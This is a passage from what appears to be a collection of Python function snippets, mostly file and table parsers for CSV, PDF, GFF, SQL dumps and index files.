'Y')\\n headerMarkerStartText = Packages.Utilities.getValuefromDict(funcInputs, 'headerMarkerStartText', 'N')\\n headerMarkerEndText = Packages.Utilities.getValuefromDict(funcInputs, 'headerMarkerEndText', 'N')\\n headerFieldsSelection = Packages.Utilities.getValuefromDict(funcInputs, 'headerFieldsSelection', 'Y')\\n tableFieldsSelection = Packages.Utilities.getValuefromDict(funcInputs, 'tableFieldsSelection', 'Y')\\n delimiter = Packages.Utilities.getValuefromDict(funcInputs, 'delimiter', 'Y')\\n\\n except ValueError as error:\\n log.error(repr(error))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n return Packages.sv.XL_FAILURE\\n\\n tableHeaderHasUnits = True\\n tableSeperator = 1\\n\\n headerMarkerStart = True\\n tableMarkerStart = True\\n recordMarkerStart = True\\n tableIndexSelected = False\\n headerPrinted = False\\n\\n headerMarkers = ()\\n recordMarkers = ()\\n tableMarkers = ()\\n\\n listHeaderMarkers = []\\n listTableMarkers = []\\n listRecordMarkers = []\\n tableFieldIndex = []\\n\\n headerStart = 0\\n headerEnd = 0\\n tableStart = 0\\n tableEnd = 0\\n recordStart = 0\\n recordEnd = 0\\n outputStringBuffer = \\\"\\\"\\n recCounter = 0\\n outputFileName= \\\" \\\"\\n returnDict = {}\\n file = os.path.dirname(__file__)\\n print(file)\\n\\n #creating objects of File Stream\\n InputFile1, InputFile2 = itertools.tee(fileName,2)\\n outputFileName = os.path.join(file,'OUTPUT','TXT', 'TXT_' + datetime.now().strftime('%d_%m_%y_%H_%M_%S') + \\\"_output.csv\\\")\\n print(outputFileName)\\n try:\\n writeFile = open(outputFileName, mode='w')\\n try:\\n for lineno,fileDetails_temp in enumerate(InputFile1):\\n # Get start and end markets for record\\n fileDetails = str(fileDetails_temp)\\n if recordMarkerStartText in fileDetails and recordMarkerStart:\\n recordStart = lineno\\n recordMarkerStart = False\\n if recordMarkerEndText in fileDetails:\\n recordEnd = lineno\\n recordMarkers = recordStart, recordEnd\\n listRecordMarkers.append(recordMarkers)\\n recordMarkerStart = True\\n # Get start and end markets for Table\\n if tableMarkerStartText in fileDetails and tableMarkerStart:\\n tableStart = lineno\\n tableMarkerStart = False\\n if tableMarkerEndText in fileDetails:\\n tableEnd = lineno\\n tableMarkers = tableStart, tableEnd\\n listTableMarkers.append(tableMarkers)\\n tableMarkerStart = True\\n\\n # Get start and end markets for Header\\n if headerMarkerStartText in fileDetails and headerMarkerStart:\\n headerStart = lineno\\n headerMarkerStart = False\\n if headerMarkerEndText in fileDetails:\\n headerEnd = lineno\\n headerMarkers = headerStart, headerEnd\\n listHeaderMarkers.append(headerMarkers)\\n headerMarkerStart = True\\n except Exception as Ex:\\n log.debug('Error in Getting Markers for Header,Record and Table')\\n log.debug((repr(Ex)))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n\\n # Creating header text for output File\\n log.debug('Creating header text for output File')\\n fileHeader = ','.join(fldList for fldList in (headerFieldsSelection+tableFieldsSelection))\\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer, fileHeader + '\\\\n')\\n\\n index = 0\\n recCounter = 0\\n tablerecCounter = 0\\n record = []\\n recordTable = []\\n print('len(listRecordMarkers) :',len(listRecordMarkers))\\n for openFile_temp in InputFile2:\\n openFile = openFile_temp.decode(\\\"cp1253\\\").strip()\\n while index < len(listRecordMarkers):\\n recCounter += 1\\n try:\\n recordStartMarker, recordEndMarker = listRecordMarkers[index]\\n record = []\\n currentLine = \\\"\\\"\\n try:\\n while True:\\n currentLine = (next(InputFile2)).decode(\\\"utf-8\\\").strip()\\n if recordMarkerStartText in currentLine:\\n record.append(currentLine)\\n break\\n except StopIteration:\\n continue\\n #check logic to append to record\\n for _ in range(recordStartMarker,recordEndMarker):\\n record.append(next(InputFile2).decode(\\\"cp1253\\\").strip())\\n\\n headerStartMarker = headerEndMarker = 0\\n headerStartMarker, headerEndMarker = listHeaderMarkers[index]\\n tableStartMarker = tableEndMarker = newTableMarker = 0\\n tableStartMarker, tableEndMarker = listTableMarkers[index]\\n index += 1\\n\\n recordHeader = record[(headerStartMarker - recordStartMarker): (headerEndMarker - recordStartMarker)]\\n recordTable = record[(tableStartMarker - recordStartMarker): (tableEndMarker - recordStartMarker)]\\n\\n except Exception as Ex:\\n log.debug('Error in Details of Header,Record and Table')\\n log.debug((repr(Ex)))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug(\\n 'Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n\\n headerText = \\\"\\\"\\n fileHeader = \\\"\\\"\\n try:\\n for headText in recordHeader:\\n for headField in headerFieldsSelection:\\n if headField in headText:\\n # Count number of delimiters in the line. if count = 1, then get the till the end of line and then tokenize based on delimiter\\n if headText.count(delimiter) == 1:\\n fieldDetails = re.findall('\\\"' + headField + '.*?', headText, flags=re.DOTALL)\\n elif headText.count(delimiter) == 0:\\n #log.debug('No Delimiter found in the line for header filed: {0}'.format(headField))\\n continue\\n else:\\n # Split the text based on delimiter and get the second item of the text after the text is split based on tokens\\n fieldDetails = re.findall('\\\"' + headField + '.*' + delimiter + '*?' + delimiter,\\n headText, flags=re.DOTALL)\\n if fieldDetails:\\n if delimiter in fieldDetails[0]:\\n if headerText:\\n headerText += \\\",\\\" + \\\\\\n str(fieldDetails[0]).strip().replace('\\\"', '').split(\\n ',')[1]\\n else:\\n headerText = \\\\\\n str(fieldDetails[0]).strip().replace('\\\"', '').split(',')[1]\\n else:\\n log.debug('Delimiter not found in the field Details: {0}'.format(fieldDetails))\\n else:\\n log.debug('Details not found in the Header: {0}'.format(headText))\\n headerText += ','\\n\\n except Exception as Ex:\\n log.debug('Error in Getting Markers for Header')\\n log.debug(\\\"Record index : {0}\\\".format(index))\\n log.debug((repr(Ex)))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n\\n # Calculate number of lines to table start from the start table token\\n counter = 0\\n for tableData in recordTable:\\n if tableFieldsSelection[0] in tableData:\\n break\\n else:\\n counter += 1\\n\\n tableHeaderList = []\\n\\n if tableHeaderHasUnits:\\n newTableMarker = counter + tableSeperator + 1\\n else:\\n newTableMarker = counter + tableSeperator\\n\\n print(headerText)\\n try:\\n # Create a list of header items for the table\\n for tableHeader in recordTable[counter:newTableMarker]:\\n tableHeaderList.append((tableHeader).replace('\\\"', '').split(','))\\n\\n\\n # Get Table Header\\n if not tableIndexSelected:\\n for tableFields in tableFieldsSelection:\\n fieldIndex = (tableHeaderList[0]).index(tableFields)\\n tableFieldIndex.append(fieldIndex)\\n tableIndexSelected = True\\n\\n # if table has header Units then get the units\\n if tableHeaderHasUnits and not headerPrinted:\\n headerPrinted = True\\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer,\\n ',' * len(headerFieldsSelection)\\n + ','.join(string for string in\\n operator.itemgetter(\\n *tableFieldIndex)\\n (str(','.join(\\n lstItem for lstItem\\n in tableHeaderList[\\n 1])).replace('\\\"',\\n '').split(\\n delimiter))) + '\\\\n')\\n\\n\\n # get table data\\n for tableData in recordTable[newTableMarker:len(recordTable)]:\\n if delimiter in tableData:\\n tablerecCounter += 1\\n outputStringBuffer = Packages.Utilities.writeFile(writeFile, outputStringBuffer,\\n headerText + ',' + ','.join(\\n string for string in\\n operator.itemgetter(\\n *tableFieldIndex)(\\n str(tableData).replace(\\n '\\\"', '').split(\\n delimiter))) + '\\\\n')\\n\\n\\n\\n except Exception as Ex:\\n log.debug('Error in Getting Parsing for Table')\\n log.debug(\\\"Record index : : {0}\\\".format(index))\\n log.debug((repr(Ex)))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug(\\n 'Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n\\n\\n writeFile.write(outputStringBuffer)\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Total Number of Records parsed in TXT : {0} '.format(recCounter))\\n log.debug('Total Number of Table Records in TXT : {0} '.format(tablerecCounter))\\n except IOError:\\n log.error('Cannot open file: {0} in read mode'.format(fileName))\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n\\n except Exception as error:\\n print(repr(error))\\n log.error('Exception Encountered in function: file_tokenizer_txt')\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_FAILURE\\n returnDict['Record_count'] = recCounter\\n return returnDict\\n finally:\\n writeFile.close()\\n\\n if log.getEffectiveLevel() == Packages.sv.XL_DEBUG:\\n log.debug('Exiting function file_tokenizer_txt(fileName: str,funcInputs: dict) of Module: ' + __name__)\\n returnDict['Parsing_Status'] = Packages.sv.XL_SUCCESS\\n returnDict['Record_count'] = recCounter\\n returnDict['outputFileName'] = outputFileName\\n return returnDict\",\n \"def convertTableName(fileName: str):\\n if m := pattern.match(fileName):\\n return m.group(\\\"tableName\\\")\",\n \"def read_tables(tb_path, tb_id, cdm_subset=None, delimiter='|',\\n extension='psv', col_subset=None, log_level='INFO', na_values=[]):\\n logger = logging_hdlr.init_logger(__name__, level=log_level)\\n # Because how the printers are written, they modify the original data frame!,\\n # also removing rows with empty observation_value in observation_tables\\n if not os.path.isdir(tb_path):\\n logger.error('Data path not found {}: '.format(tb_path))\\n return\\n\\n # See if theres anything at all:\\n files = glob.glob(os.path.join(tb_path, '*' + tb_id + '*.' + extension))\\n if len(files) == 0:\\n logger.error('No files found matching pattern {}'.format(tb_id))\\n return\\n\\n # See if subset, if any of the tables is not as specs\\n if cdm_subset:\\n for tb in cdm_subset:\\n if tb not in properties.cdm_tables:\\n logger.error('Requested table {} not defined in CDM'.format(tb))\\n return\\n\\n tables = properties.cdm_tables if not cdm_subset else cdm_subset\\n file_patterns = {tb: os.path.join(tb_path, '-'.join([tb, tb_id]) + '.' + extension) for tb in tables}\\n file_paths = {}\\n for k, v in file_patterns.items():\\n logger.info('Getting file path for pattern {}'.format(v))\\n file_path = glob.glob(v)\\n if len(file_path) == 1:\\n file_paths[k] = file_path[0]\\n elif len(file_path) > 1:\\n logger.error(\\n 'Pattern {0} resulted in multiple files for table {1}. '\\n 'Cannot seccurely retrieve cdm table(s)'.format(tb_id, k))\\n return\\n\\n if len(file_paths) == 0:\\n logger.error(\\n 'No cdm table files found for search patterns {0}: '.format(','.join(list(file_patterns.values()))))\\n return\\n\\n usecols = None if len(tables) == 1 else {table: None for table in tables}\\n if col_subset:\\n if len(tables) == 1:\\n if not isinstance(col_subset, list):\\n logger.error('Column subset (col_subset) has to be declared as a list')\\n return\\n else:\\n usecols = col_subset\\n else:\\n if not isinstance(col_subset, dict):\\n logger.error(\\n 'Column subset (col_subset) has to be declared as a dictionary '\\n 'with a table:[columns] pair per table to subset')\\n return\\n else:\\n usecols = {table: col_subset.get(table, None) for table in tables}\\n\\n logger.info('Reading into dataframe data files {}: '.format(','.join(list(file_paths.values()))))\\n if len(tables) == 1:\\n file_path = list(file_paths.values())[0]\\n return pd.read_csv(file_path, delimiter=delimiter, usecols=usecols,\\n dtype='object', na_values=na_values, keep_default_na=False)\\n else:\\n df_list = []\\n for tb, tb_file in file_paths.items():\\n dfi = pd.read_csv(tb_file, delimiter=delimiter,\\n usecols=usecols.get(tb), dtype='object',\\n na_values=na_values, keep_default_na=False)\\n if len(dfi) > 0:\\n dfi.set_index('report_id', inplace=True, drop=False)\\n dfi.columns = pd.MultiIndex.from_product([[tb], dfi.columns])\\n df_list.append(dfi)\\n else:\\n logger.warning('Table {} empty in file system, not added to the final DF'.format(tb))\\n\\n if len(df_list) > 0:\\n merged = pd.concat(df_list, axis=1, join='outer')\\n merged.reset_index(drop=True, inplace=True)\\n return merged\\n else:\\n logger.error('All tables empty in file system')\\n return\",\n \"def wmo_code_table():\\n import pandas as pd\\n from ..fun import get_data\\n\\n return pd.read_csv(get_data('Common_C02_20181107_en.txt'))\",\n \"def get_reference_header(file):\\n\\n with open(file, \\\"r\\\") as typing_report:\\n lines = typing_report.readlines()\\n return lines[1].split('\\\\\\\\t')[3]\",\n \"def find_temp_tables(sql):\\n lines = sql.split(\\\"\\\\n\\\")\\n pattern = r\\\"^.*into\\\\s+#.*$\\\"\\n r = re.compile(pattern, re.MULTILINE)\\n\\n tables=[]\\n for match in r.findall(sql):\\n table_start = match.find(\\\"#\\\")\\n \\n tables.append(match[table_start:])\\n\\n return tables\",\n \"def __getListTables(self):\\n\\n listTables = \\\"{\\\\\\\\*\\\\\\\\listtable\\\\n\\\"\\n overrideTables = \\\"{\\\\\\\\listoverridetable\\\\n\\\"\\n for listDef in self.lists:\\n id = listDef.id\\n listTables += listDef.getRtf()\\n overrideTables += (\\\"{\\\\\\\\listoverride\\\\\\\\listid%d\\\"\\n \\\"\\\\\\\\listoverridecount0\\\\\\\\ls%d}\\\\n\\\" % (id, id))\\n return listTables + \\\"}\\\\n\\\" + overrideTables + \\\"}\\\\n\\\"\",\n \"def feature_table(chr_id, source, orient, genes, transcripts, cds, exons, unk):\\n for gname, ginfo in genes.items():\\n line = [str(chr_id), \\n 'gbk_to_gff',\\n ginfo[3],\\n str(ginfo[0]),\\n str(ginfo[1]),\\n '.',\\n ginfo[2],\\n '.',\\n 'ID='+str(gname)+';Name='+str(gname)+';Note='+ginfo[-1]]\\n print '\\\\t'.join(line) \\n ## construct the transcript line is not defined in the original file \\n t_line = [str(chr_id), 'gbk_to_gff', source, 0, 1, '.', ginfo[2], '.'] \\n\\n if not transcripts:\\n t_line.append('ID=Transcript:'+str(gname)+';Parent='+str(gname))\\n\\n if exons: ## get the entire transcript region from the defined feature\\n t_line[3] = str(exons[gname][0][0])\\n t_line[4] = str(exons[gname][0][-1])\\n elif cds:\\n t_line[3] = str(cds[gname][0][0])\\n t_line[4] = str(cds[gname][0][-1])\\n print '\\\\t'.join(t_line) \\n\\n if exons:\\n exon_line_print(t_line, exons[gname], 'Transcript:'+str(gname), 'exon')\\n\\n if cds:\\n exon_line_print(t_line, cds[gname], 'Transcript:'+str(gname), 'CDS')\\n if not exons:\\n exon_line_print(t_line, cds[gname], 'Transcript:'+str(gname), 'exon')\\n\\n else: ## transcript is defined \\n for idx in transcripts[gname]: \\n t_line[2] = idx[3]\\n t_line[3] = str(idx[0])\\n t_line[4] = str(idx[1])\\n t_line.append('ID='+str(idx[2])+';Parent='+str(gname))\\n print '\\\\t'.join(t_line) \\n \\n ## feature line print call \\n if exons:\\n exon_line_print(t_line, exons[gname], str(idx[2]), 'exon')\\n if cds:\\n exon_line_print(t_line, cds[gname], str(idx[2]), 'CDS')\\n if not exons:\\n exon_line_print(t_line, cds[gname], str(idx[2]), 'exon')\\n\\n if len(genes) == 0: ## feature entry with fragment information \\n \\n line = [str(chr_id), 'gbk_to_gff', source, 0, 1, '.', orient, '.'] \\n fStart = fStop = None \\n\\n for eid, ex in cds.items(): \\n fStart = ex[0][0] \\n fStop = ex[0][-1]\\n\\n for eid, ex in exons.items(): \\n fStart = ex[0][0] \\n fStop = ex[0][-1]\\n\\n if fStart or fStart:\\n\\n line[2] = 'gene'\\n line[3] = str(fStart)\\n line[4] = str(fStop)\\n line.append('ID=Unknown_Gene_' + str(unk) + ';Name=Unknown_Gene_' + str(unk))\\n print \\\"\\\\t\\\".join(line)\\n\\n if not cds:\\n line[2] = 'transcript'\\n else:\\n line[2] = 'mRNA'\\n line[8] = 'ID=Unknown_Transcript_' + str(unk) + ';Parent=Unknown_Gene_' + str(unk)\\n print \\\"\\\\t\\\".join(line)\\n \\n if exons:\\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'exon')\\n \\n if cds:\\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'CDS')\\n if not exons:\\n exon_line_print(line, cds[None], 'Unknown_Transcript_' + str(unk), 'exon')\\n \\n unk +=1 \\n\\n return unk\",\n \"def tabdes(filename, body):\\n # XXX checksums ignored\\n head = Struct(\\\"!BiHBxxxB\\\")\\n body = Struct(body)\\n # foot = Struct(\\\"!4s\\\")\\n\\n data = []\\n with open(filename, \\\"rb\\\") as f:\\n buffer = f.read()\\n _, _, count, length, _ = head.unpack_from(buffer, 0)\\n offset = head.size\\n for i in range(count):\\n row = body.unpack_from(buffer, offset)\\n data.append(row)\\n offset += body.size\\n else:\\n print(\\\"read %d rows\\\" % len(data))\\n # offset = 2 ** 16 - foot.size\\n # _, foot.unpack_from(buffer, offset))\\n return data\",\n \"def extract_table(path):\\n re_ex = RE_EX\\n pages = []\\n page_num = 1\\n with open(path, 'rb') as in_file:\\n parser = PDFParser(in_file)\\n doc = PDFDocument(parser)\\n for page in PDFPage.create_pages(doc):\\n rsrcmgr = PDFResourceManager()\\n output_string = StringIO()\\n device = TextConverter(rsrcmgr, output_string, laparams=LAParams())\\n interpreter = PDFPageInterpreter(rsrcmgr, device)\\n interpreter.process_page(page)\\n finder = re.search(re_ex, output_string.getvalue(), re.IGNORECASE)\\n print('Searching table', '\\\\tCurrent page:', page_num)\\n if finder:\\n print('Table finded.')\\n pages.append(page_num)\\n break\\n\\n page_num += 1\\n\\n table = extract_text(path, pages)\\n table = isolate(table)\\n table = add_separations(table)\\n\\n return table\",\n \"def show_tables(self) -> List[str]:\\n return list(self.tb.keys())\",\n \"def get_target_table(self, source):\\n target_tables = set()\\n target_fields = [t[1] for t in self.mapping.items() if t[0].split('.')[0] == source]\\n for f in target_fields:\\n target_tables.update([c.split('.')[0] for c in f.keys()])\\n self.target_tables = list(target_tables)\\n return self.target_tables\",\n \"def init_fields(self):\\n result = self.connection.execute('pragma table_info(files)')\\n rows = result.fetchall()\\n self.fields = [Field(row) for row in rows[4:]]\\n result = self.connection.execute('select _keyword from keywords')\\n rows = result.fetchall()\\n self.keywords = [row[0] for row in rows]\",\n \"def get_table_info(line):\\n\\n COMMENT_EXPR = '-- Name: '\\n TYPE_EXPR = '; Type: '\\n SCHEMA_EXPR = '; Schema: '\\n OWNER_EXPR = '; Owner: '\\n TABLESPACE_EXPR = '; Tablespace: '\\n\\n temp = line.strip('\\\\n')\\n type_start = get_all_occurrences(TYPE_EXPR, temp)\\n schema_start = get_all_occurrences(SCHEMA_EXPR, temp)\\n owner_start = get_all_occurrences(OWNER_EXPR, temp)\\n tblspace_start = get_all_occurrences(TABLESPACE_EXPR, temp)\\n if len(type_start) != 1 or len(schema_start) != 1 or len(owner_start) != 1:\\n return (None, None, None, None)\\n name = temp[len(COMMENT_EXPR) : type_start[0]]\\n type = temp[type_start[0] + len(TYPE_EXPR) : schema_start[0]]\\n schema = temp[schema_start[0] + len(SCHEMA_EXPR) : owner_start[0]]\\n if not tblspace_start:\\n tblspace_start.append(None)\\n owner = temp[owner_start[0] + len(OWNER_EXPR) : tblspace_start[0]]\\n return (name, type, schema, owner)\",\n \"def enumerate_tables(self, files=False):\\n dbinfo = self.stru.readrec(1)\\n if dbinfo[:1] != b\\\"\\\\x03\\\":\\n print(\\\"WARN: expected dbinfo to start with 0x03\\\")\\n try:\\n dbdef = self.decode_db_definition(dbinfo[1:])\\n except Exception as e:\\n print(\\\"ERROR decoding db definition: %s\\\" % e)\\n print(\\\"This could possibly mean that you need to try with the --strucrack option\\\")\\n return\\n\\n for k, v in dbdef.items():\\n if k.startswith(\\\"Base\\\") and k[4:].isnumeric():\\n if files and k[4:] == \\\"000\\\":\\n yield TableDefinition(v)\\n if not files and k[4:] != \\\"000\\\":\\n yield TableDefinition(v, dbdef.get(\\\"BaseImage\\\" + k[4:], b''))\",\n \"def _parse_header_selector(cls, text, where=\\\"\\\"):\\n with log.augment_exception(\\\"Can't load file \\\" + where,\\n exception_class=crexc.MappingError):\\n code = MAPPING_VERIFIER.compile_and_check(text)\\n header, selector, comment = cls._interpret(code)\\n return LowerCaseDict(header), selector, comment\",\n \"def IndexFileToPrefixInfo(index_fp):\\n\\n IX_FH = open(index_fp, \\\"r\\\")\\n\\n header_line = IX_FH.readline()\\n\\n c_line = \\\"placeholder\\\"\\n\\n # prefix is an important list that holds [[nLeading i, indexseq s, name s],...]\\n # nLeading is number of n's before index \\n prefix = []\\n line_num = 0\\n\\n while c_line != \\\"\\\":\\n c_line = IX_FH.readline().rstrip()\\n line_num += 1\\n\\n line_split = c_line.split('\\\\t')\\n\\n if len(line_split) > 2:\\n raise Exception(\\\"In indexfile, found a line that has more than \\\"\\\\\\n + \\\"2 tsvs.\\\\n Filename: {} Line Number: {}\\\".format(\\n index_fp, line_num))\\n #Note name & index are in form H1, ATCACGAG\\n name, index = line_split \\n\\n # What does this account for?\\n if (re.search(r'name', name ,re.IGNORECASE)):\\n continue\\n\\n nLeading = None\\n indexseq = None\\n\\n match = re.search(r'^([nN]*)([ACGT]+)$',index)\\n if not match:\\n raise Exception(\\\"Invalid index sequence {}\\\".format(index))\\n else:\\n nLeading = len(match[0])\\n indexseq = match[1]\\n\\n if (nLeading == None ) or (indexseq == None) or (name == ''):\\n raise Exception(line)\\n prefix.append([nLeading, indexseq, name])\\n\\n IX_FH.close()\\n\\n report_str = \\\"Read {} indices from {}\\\\n\\\".format(len(prefix),index_fp)\\n prefixNames = [x[2] for x in prefix]\\n\\n \\n return {\\n \\\"report_str\\\": report_str,\\n \\\"prefixNames\\\": prefixNames,\\n \\\"prefix\\\": prefix\\n }\",\n \"def parse_definitions(headers: dict, file_contents: str) -> list:\\n\\n if not headers:\\n raise Exception('Please set headers first')\\n\\n match = re.search(r'#DEFINITION#(.*?)#', file_contents, re.MULTILINE | re.DOTALL)\\n\\n if not match:\\n raise Exception('No #DEFINITION# provided')\\n\\n definitions = list(map(str.strip, match.group(1).split(headers['EOF'])))\\n\\n if definitions[-1] == headers['EOR']:\\n del definitions[-1]\\n\\n return definitions\",\n \"def ReadIndex_text(indexfile, isPrintWarning = False):#{{{\\n# return (indexList, headerinfo, dbfileindexList)\\n indexList = []\\n idList = []\\n v1 = array('B') # dbfile index\\n v2 = array('L') # offset\\n v3 = array('I') # block size\\n apd1 = idList.append\\n apd2 = v1.append\\n apd3 = v2.append\\n apd4 = v3.append\\n indexFileHeaderText = []\\n origdbname=\\\"\\\"\\n origversion=\\\"\\\"\\n origext=\\\"\\\"\\n origprefix=\\\"\\\"\\n try:\\n\\n hdl = mybase.ReadLineByBlock(indexfile)\\n lines = hdl.readlines()\\n while lines != None:\\n for line in lines:\\n if not line or line[0] == \\\"#\\\":\\n continue\\n strs = line.split()\\n if strs[0] == \\\"DEF_DBNAME\\\":\\n if len(strs)>=2:\\n origdbname=strs[1]\\n elif strs[0] == \\\"DEF_VERSION\\\":\\n if len(strs)>=2:\\n origversion=strs[1]\\n elif strs[0] == \\\"DEF_EXTENSION\\\":\\n if len(strs)>=2:\\n origext=strs[1]\\n elif strs[0] == \\\"DEF_PREFIX\\\":\\n if len(strs)>=2:\\n origprefix = strs[1]\\n else:\\n apd1(strs[0])\\n apd2(int(strs[1]))\\n apd3(int(strs[2]))\\n apd4(int(strs[3]))\\n lines = hdl.readlines()\\n\\n indexList.append(idList)\\n indexList.append(v1)\\n indexList.append(v2)\\n indexList.append(v3)\\n\\n headerinfo = (origdbname, origversion, origext, origprefix)\\n\\n numRecord = len(idList)\\n lastDBFileIndex = v1[numRecord-1]\\n dbfileindexList = list(range(lastDBFileIndex+1))\\n\\n if isPrintWarning:\\n if origversion == \\\"\\\":\\n msg = \\\"{}: Warning! No version info in the index file {}\\\"\\n print(msg.format(sys.argv[0],indexfile), file=sys.stderr)\\n elif origversion != version:\\n msg = \\\"{}: Warning! Version conflicts. \\\"\\\\\\n \\\"Version of the index file {} ({}) \\\"\\\\\\n \\\"!= version of the program ({})\\\"\\n print(msg.format(sys.argv[0],indexfile,\\n origversion, version), file=sys.stderr)\\n return (indexList, headerinfo, dbfileindexList)\\n except IOError:\\n msg = \\\"Failed to read index file {} in function {}\\\"\\n print(msg.format(indexfile, sys._getframe().f_code.co_name), file=sys.stderr)\\n return (None, None, None)\",\n \"def load_defs():\\n # Load word definitions\\n fname = 'word-definitions.txt'\\n with open(fname) as fh:\\n lines = fh.readlines()\\n \\n # Create dictionary keyed by lowercase word\\n def_tbl = dict()\\n for line in lines:\\n # split the dictionary line at the first space\\n word, word_def = line.split(sep=None, maxsplit=1)\\n # add this entry to the dictionary\\n word = word.lower()\\n def_tbl[word] = word_def.rstrip()\\n return def_tbl\",\n \"def defineTABLESECTION(f,layernamelist):\\r\\n \\r\\n layercolordict={}\\r\\n for layername in layernamelist:\\r\\n t=random.randint(10,17)\\r\\n layercolordict[layername]=random.randrange(10+t,240+t,10)\\r\\n \\r\\n layercolordict[\\\"Outline\\\"]=1\\r\\n layercolordict[\\\"Mark\\\"]=5\\r\\n layercolordict[\\\"Cutline\\\"]=2\\r\\n \\r\\n f.write(\\\"0\\\\nSECTION\\\\n2\\\\nTABLES\\\\n0\\\\nTABLE\\\\n2\\\\nLAYER\\\\n70\\\\n2\\\\n\\\") \\r\\n for layername in layernamelist:\\r\\n f.write(\\\"0\\\\nLAYER\\\\n2\\\\n\\\"+layername+\\\"\\\\n70\\\\n0\\\\n62\\\\n\\\"+str(layercolordict[layername])+\\\"\\\\n6\\\\nCONTINUOUS\\\\n\\\")\\r\\n f.write(\\\"0\\\\nENDTAB\\\\n0\\\\nENDSEC\\\\n\\\")\",\n \"def read_ann_file(fileid, ann_dir):\\n ann_file = \\\"%s/%s.ann\\\"%(ann_dir,fileid)\\n with codecs.open(ann_file, 'r', 'utf-8') as f:\\n data = f.read()\\n rows = data.split('\\\\n')\\n entities = {}\\n ent_count = 0\\n relations = {}\\n #annotations = []\\n for row in rows:\\n cols = row.split(\\\"\\\\t\\\")\\n ann_id = cols[0]\\n if(u\\\"#\\\" in cols[0]):\\n tmp = cols[1].split()[1:],\\\" \\\",cols[2]\\n annotations.append(tmp)\\n elif(len(cols)==3 and u\\\"T\\\" in cols[0]):\\n # is an entity\\n ent_count += 1\\n ent_type = cols[1].split()[0]\\n ranges = cols[1].replace(\\\"%s\\\"%ent_type,\\\"\\\")\\n if \\\";\\\" in ranges:\\n ranges = [{\\\"start\\\":int(r.split()[0]),\\\"end\\\":int(r.split()[1])} for r in ranges.split(';')]\\n else:\\n ranges = [{\\\"start\\\":int(ranges.split()[0]),\\\"end\\\":int(ranges.split()[1])}]\\n entities[cols[0]] = {\\\"ann_id\\\":ann_id\\n ,\\\"entity_type\\\": ent_type\\n ,\\\"positions\\\": ranges\\n ,\\\"surface\\\":cols[2]\\n ,\\\"continuation\\\":False}\\n elif(len(cols)>=2 and u\\\"R\\\" in cols[0]):\\n rel_type, arg1, arg2 = cols[1].split()\\n relations[cols[0]] = {\\\"ann_id\\\":ann_id\\n ,\\\"arguments\\\":(arg1.split(\\\":\\\")[1], arg2.split(\\\":\\\")[1])\\n ,\\\"relation_type\\\":rel_type}\\n else:\\n if(len(cols)>1):\\n if(cols[1].split()[0]==\\\"Continuation\\\"):\\n continued_entity_id = cols[1].split()[1]\\n #print cols[1].split()[0],continued_entity_id\\n entities[continued_entity_id][\\\"continuation\\\"] = True\\n return entities, relations\",\n \"def search_def_in_doc_table(self, acro_in):\\n definition_list_out = []\\n if acro_in in self.acros_doc_table:\\n definition_list_out = self.acros_doc_table[acro_in]['Def']\\n return definition_list_out\",\n \"def lookup_keywords(filename):\\n keywords = []\\n start_of_table = r'\\\\*+\\\\s+'\\n start_of_kw_table = r'\\\\*+\\\\s+Keyword'\\n in_kw_table = False\\n f = open(filename, \\\"r\\\")\\n for line in f.readlines():\\n line = line.rstrip()\\n if len(line) == 0 or line.startswith(\\\"#\\\"):\\n continue # skip comments and blanks\\n if re.match(start_of_kw_table, line):\\n in_kw_table = True # table started\\n continue\\n if re.match(start_of_table, line) and not re.match(start_of_kw_table, line):\\n in_kw_table = False # table ended\\n continue\\n if line.startswith(' '):\\n continue # skip content rows\\n if in_kw_table:\\n keywords.append(line)\\n f.close()\\n return keywords\",\n \"def getCaseAndControlListsFromPedFile(pedFilePath):\\t\\r\\n\\tCASE = \\\"2\\\"\\r\\n\\tCONTROL = \\\"1\\\"\\r\\n\\tstatusIndex = 5\\r\\n\\tnameIndex = 1\\r\\n\\tnames = defaultdict(list)\\r\\n\\twith open(pedFilePath, \\\"r\\\") as samples:\\r\\n\\r\\n\\t\\tfor sample in samples:\\r\\n\\t\\t\\tnames[sample.split(\\\"\\\\t\\\")[statusIndex]].append(sample.split(\\\"\\\\t\\\")[nameIndex]) # The second spot is the ID/name.\\r\\n\\r\\n\\treturn names[CASE], names[CONTROL]\",\n \"def GetIndexFileHeaderText(headerinfo):#{{{\\n (dbname, version, ext, prefix) = headerinfo\\n indexFileHeaderText = []\\n 